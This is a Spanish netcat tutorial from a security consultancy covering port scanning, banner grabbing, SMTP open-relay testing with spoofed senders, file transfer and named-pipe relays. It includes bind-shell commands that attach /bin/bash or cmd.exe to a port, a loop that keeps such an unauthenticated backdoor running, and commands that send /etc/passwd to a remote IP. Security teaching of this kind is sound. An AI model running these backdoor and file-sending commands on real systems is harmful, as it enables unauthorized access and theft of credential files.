Está en la página 1de 13

El viejo y querido netcat

03/05/2011

www.portantier.com
Introducción
¿Por qué es viejo? Porque nació en el año 1996 y, para ser un software ¡eso es
mucho tiempo! ¿Por qué es querido? Porque es una herramienta excelente,
simple, eficaz y muy potente! Netcat es un programa que nos permite leer y
escribir datos utilizando conexiones TCP y UDP: esto nos será de mucha ayuda
tanto para utilizarlo como un programa individual como para complementarlo
con otras herramientas.

Algunas de las cosas que vamos a poder hacer con Netcat son: escanear
puertos, transferir archivos, caputrar banners, redireccionar puertos y abrir
puertas traseras.

Como nos permite hacer tantas cosas, esta herramienta debe estar presente en
cada equipo destinada a realizar penetration tests, análisis de vulnerabilidades,
ethical hacking y cualquier otro tipo de actividad divertida.

Instalación
Este software ya viene pre-empaquetado en TODAS las distribuciones Linux y
BSD. Para el caso de Windows, podemos utilizar el siguiente link:
http://www.portantier.com/downloads/netcat_nt_1.10.zip

En el cual vamos a encontrar tanto el ejecutable como los archivos de código


fuente.

NOTA: Si tenemos instalada la herramienta nmap en su versión 4.85BETA1 o


posterior, ésta ya viene con netcat incluído.

Pueden descargar nmap con netcat incluído desde:


http://nmap.org/download.html
Modos de ejecución
Podemos utilizar dos modalidades diferentes, cliente y servidor. Obviamente,
con el modo cliente nos conectamos y con el modo servidor esperamos
conexiones.

cliente: nc [-options] hostname port[s] [ports]


servidor: nc –l –p port [options] [hostname] [port]

Es una herramienta de línea de comandos, y no posee interfaz gráfica.

Escaneo de puertos
Si bien existen muchas herramientas especializadas para escanear puertos (y
recomiendo su uso, sobre todo de nmap), es bueno saber que con netcat
también podemos hacerlo.

Las opciones que nos interesan para el escaneo de puertos son las siguientes:

–i segs Intervalo en segundos entre cada puerto escaneado


–r Aleatorización de los puertos de origen y destino
–u Puertos UDP (por defecto utiliza puertos TCP)
–v Modo explicativo (si utilizamos -vv será aún más explicativo)
–z No realiza una conexión completa (interesante para los escaneos)

Así que, para escanear los puertos TCP 50, 100 y 105 de
www.escaneame.com, podemos hacer lo siguiente:

fabian@debian:~$ nc -vv -i1 -r -z www.escaneame.com 25, 53, 80, 110


www.escaneame.com [ip.ip.ip.ip] 80 (www) open
www.escaneame.com [ip.ip.ip.ip] 53 (domain) : Connection refused
www.escaneame.com [ip.ip.ip.ip] 110 (pop3) : Connection refused
www.escaneame.com [ip.ip.ip.ip] 25 (smtp) : Connection refused
Como podemos observar, de los puertos que probamos, sólo el 80 (HTTP) está
abierto.

También podemos utilizar rangos de puertos, por ejemplo, para escanear los
puertos desde el 1 hasta el 3000:

nc -vv -i1 -r -z www.escaneame.com 1-3000

Banner Grabbing
Esta es una técnica de enumeración, que consiste en capturar los banners que
muestran las aplicaciones al conectarnos a ellas. Podremos obtener
información como el tipo de software, la versión y el sistema operativo. Esto se
torna de vital importancia cuando estamos buscando vulnerabilidades en un
sistema.

Por ejemplo, para capturar el banner del puerto 25 de smtp.gmail.com podemos


hacer lo siguiente:

Podemos hacer lo mismo con HTTP (puerto 80). Una vez conectados,
enviamos un requerimiento, para anlizar la respuesta.
En este caso, el requerimiento a enviar será “HEAD / HTTP/1.0″, que solicita
los encabezados del servidor. (NOTA: Tenemos que presionar dos veces la
teclar ‘ENTER’ después de haber escrito el requerimiento para que el servidor
lo procese).

Borré los datos del servidor para no comprometer a nadie, pero ustedes podrían
obtener algo así:

fabian@debian:~$ nc -v servidorweb.com 80
servidorweb.com [ip.ip.ip.ip] 80 (www) open
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 05:33:50 GMT
Server: Apache/2.0.59 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=iso-8859-1
Connection: close

Si analizamos la respuesta, veremos que el servidor utilizado es Apache 2.0.59,


corriendo sobre un sistema operativo CentOS.

También podemos hacerlo con los servidores SMTP, con:

fabian@debian:~$ nc -vv smtp.gmail.com 25

Obtendremos una respuesta similar a la siguiente:

220 mx.google.com ESMTP g69sm740211yhc.88

Lo cual significa “Service Ready”, según la RFC-821


(http://www.ietf.org/rfc/rfc0821.txt). Básicamente nos está diciendo que el
servicio SMTP está listo para recibir órdenes.

Conociendo un poco más acerca de los servidores SMTP


Cada vez que nos conectamos a un servidor SMTP, podemos solicitarle
información acerca de los comandos que soporta, pasando el requerimiento
“EHLO”, de la siguiente manera:

fabian@debian:~$ nc -vv smtp.gmail.com 25


gmail-smtp-msa.l.google.com [74.125.45.109] 25 (smtp) open
220 mx.google.com ESMTP s21sm751894yhn.93
EHLO
250-mx.google.com at your service, [ip.ip.ip.ip]
250-SIZE 35882577
250-8BITMIME
250-STARTTLS
250 ENHANCEDSTATUSCODES

De esta forma podemos obtener información acerca del servidor SMTP al cuál
nos estamos conectando. Este tipo de peticiones se utiliza por varios clientes
de correo para saber qué tipo de comandos soporta el servidor, qué métodos
de autenticación, etc.

Servidores de mail ‘Open Relay’


Los servidores de mail open relay son aquellos que permiten enviar un mail
desde cualquier origen a cualquier destino, por lo que son excelentes
candidatos a ser utilizados por los Spammers. Es importante aclarar que estos
servidores están MAL configurados, y nosotros podemos hacer la prueba que
explico más abajo para detectar malas configuraciones y corregirlas.

Por ejemplo, vamos a conectarnos al puerto smtp (TCP 25) de mail.algo.com,


así:

nc -vv mail.algo.com 25

220 <hostname> ESMTP Sendmail 8.14.2/8.14.2; Sun, 24 Feb 2008 11:16:40


-0500
MAIL FROM:gbush@whitehouse.gov
250 2.1.0gbush@whitehouse.gov… Sender ok
RCPT TO: bill.gates@microsoft.com
250 2.1.5 bill.gates@microsoft.com… Sender ok

Con “MAIL FROM:” estamos definiendo el mail de origen, y con “RCTP TO:”
estamos definiendo el destinatario. En este caso, el servidor no tiene relación
con los dominios ‘whitehouse.gov’ ni con ‘microsoft.com’. Igualmente, nos ha
contestado con “OK” y nos permitiría enviar el correo. Esta es una configuración
errónea que suele estar corregida en la gran mayoría de las configuraciones por
defecto de los software de correo, pero aún podemos encontrar alguno que otro
por la red.
Para conocer mejor cómo interactuar con cada uno de los servicios estándar de
internet, les sugiero investigar las RFC correspondientes a cada estándar. No
es necesario que lean toooda la RFC, generalmente los comandos aceptados
se encuentran en resumenes, por wikipedia u otras fuentes.

Redireccionando ejecutables
De todas sus opciones, sin dudas la mas poderosa que tiene netcat es “-e”, con
la cual especificamos qué programa queremos ejecutar cuando recibamos una
conexión (sólo disponible en el modo servidor).

nc –l –p 1234 -v –e /bin/bash

Este ejemplo pone a escuchar en el puerto 1234 y, al recibir una conexión,


ejecuta el programa /bin/bash

Para el caso de una plataforma Windows, podríamos usar lo siguiente:

nc –l –p 1234 -v –e cmd.exe

(la opción “-v” es para que nos muestre más detalles)

Una vez que tengamos el puerto en escucha, podemos conectarnos utilizando


netcat en modo cliente, así:

nc [ip-de-destino] [puerto]

nc 172.16.66.128 1234

Debemos tener en cuenta que esto nos proporciona acceso a una shell, sin
pedirnos ninguna autenticación y con los privilegios del usuario que ejecutó
netcat. Tampoco estaríamos encriptando la información. Así que no lo utilicen
como un reemplazo a SSH, porque es una opción muy insegura. Pero, como
vamos a ver más adelante, es una opción de muchísima utilidad para otras
cosas.

Como podrán imaginar, gran parte de los backdoors existentes, utilizados por
troyanos y rootkits, están basados en el uso de la herramienta netcat.

Algo importante a tener en cuenta es que, cuando finaliza el programa que


estamos ejecutando, netcat se va a cerrar. Por lo cual nos sirve solamente para
una sesión. Esto podemos evitarlo de las siguientes formas:

En sistemas Windows, podemos utilizar la opción “-L” cuando ejecutamos


netcat en modo servidor, para que automáticamente se vuelva a poner en
escucha.

En sistemas Unix-like, vamos a tener que escribir un script que automatice el


reinicio de netcat. Algo igual o similar a esto:

#!/bin/bash

while 1
do
netcat -v -l -p 1234 -e /bin/bash
done

Esto es algo bastante sencillo, pero podemos extender el script para que, por
ejemplo, guarde un archivo de log con las conexiones que se establecieron,
etc, etc.

Pensemos que hasta podríamos implementar un pequeño honeypot


(http://es.wikipedia.org/wiki/Honeypot) con la ayuda de netcat y algunos scripts
en bash o cualquier otro lenguaje.
Transferencia de archivos
Si, si, también podemos transferir archivos utilizando netcat. Para qué? Puede
ser por diversión, pero también porque no siempre contamos con herramientas
exclusivas para transferir archivos, o porque no tenemos ganas de levantar un
servidor FTP. O, porque netcat deja muchas menos huellas, lo podemos hacer
escuchar facilmente en cualquier puerto y es más automatizable

Enviar un archivo desde el cliente al servidor:


Servidor:
nc -l -p [puerto] > [archivo de destino]
nc -l -p 1234 > salida.txt

Cliente:
nc -w3 [ip-del-servidor] [puerto ] < [archivo-que-queremos-enviar]
nc -w3 172.16.66.128 1234 < /etc/passwd

Enviar un archivo desde el servidor al cliente:


Servidor:
nc -l -p [puerto] < [archivo-a-enviar]
nc -l -p 1234 < /etc/passwd

Cliente:
nc -w3 [ip-del-servidor] [puerto] > [archivo-de-salida]
nc -w3 172.16.66.128 1234 > salida.txt

El poderoso “relay”
Mezclando un poco de todo lo que vimos, podemos hacer algo realmente
fascinante. Crearemos un archivo especial, y lo conectaremos con nectat, de
modo que todo lo que escribamos en el archivo, sea enviado a través de la red
hacia otra máquina. (Les dije que era fascinante).
No hace falta explicar para qué podría servirnos tal característica, básicamente
porque eso queda librado a su imaginación y a la necesidad que tengamos en
el momento. Pero, créanme, es un excelente recurso en situaciones adversas.

ACLARACIÓN: Lo que voy a explicar a continuación aplica sólo para


plataformas Unix-like. Debido a que, por cuestiones de diseño, en Windows es
muchísimo más complicado contruir lo que se conoce como “named pipes”.
Aunque puede hacerse. Para más información:
http://en.wikipedia.org/wiki/Named_pipe#Named_pipes_in_Windows

Cliente:

Primero que nada, debemos crear un archivo FIFO:

cd /tmp
mkfifo fifo

Si no tenemos el comando “mkfifo” podemos utilizar el siguiente (que hace


exactamente lo mismo)

mknod fifo p

Ahora, creamos el script del cliente:

#!/bin/bash
while [ true ]
do
line=`cat fifo`
echo $line | netcat -q 1 172.16.66.128 1234
done

Este script monitorea constantemente el archivo “fifo” y hace que todo lo escrito
en el mismo sea redirijido a netcat, el cual lo envía a través de la red al servidor
Servidor:

Creamos el siguiente script:

#!/bin/bash

echo “” > salida.txt

while [ true ]
do
netcat -l -p 1234 >> salida.txt
done

Lo que hace el script es poner a escuchar netcat, y redireccionar la información


entrante al archivo salida.txt

Ahora, simplemente tenemos que escribir en el archivo fifo del cliente, para que
la información sea enviada al servidor.

Podemos hacerlo, por ejemplo, utilizando el comando “echo”, así:

echo “Buen día” > fifo

Como siempre, estos scripts pueden mejorarse y personalizarse en base a


nuestras necesidades. Pero con esto es suficiente para darnos una buena idea
de las grandes capacidades que tiene netcat y los beneficios que podemos
obtener de esta genial herramienta.

Herramientas derivadas
En base al éxito que ha tenido netcat durante varios años, y que es una
herramienta de código abierto, se han creado varios herramientas que agregan
funcionalidades o están enfocadas en ciertas tareas particulares, como por
ejemplo:

cryptcat – Permite transferir archivos encriptando las comunicaciones con el


algoritmo Twofish
netcat6 – Netcat con soporte para IPv6
netrw – Similar a Netcat, enfocado a transferir archivos

Esto es todo por ahora, espero que les haya sido de utilidad esta información.

Los códigos fuente de los artículos se pueden encontrar también en gitorious.


En este repositorio voy a ir guardando tanto los códigos originales como las
modificaciones que les vayamos haciendo para mejorarlos.

http://gitorious.org/portantier/escuela-de-hacking/trees/master
Sobre Portantier Information Security
Portantier Information Security es una consultora que nace en el año 2010, de
la mano de Fabian Portantier y tiene como objetivo principal brindar servicios
exclusivos de seguridad, como auditoría, consultoría y capacitaciones.

Normalmente publicamos documentos de interés, noticias, recomendaciones y


herramientas. Para más información, visite: www.portantier.com

No dude en comunicarse con nosotros por cualquier duda, consulta o solicitud


de servicios. Estamos para ayudarle.

Fabian Portantier

www.portantier.com

También podría gustarte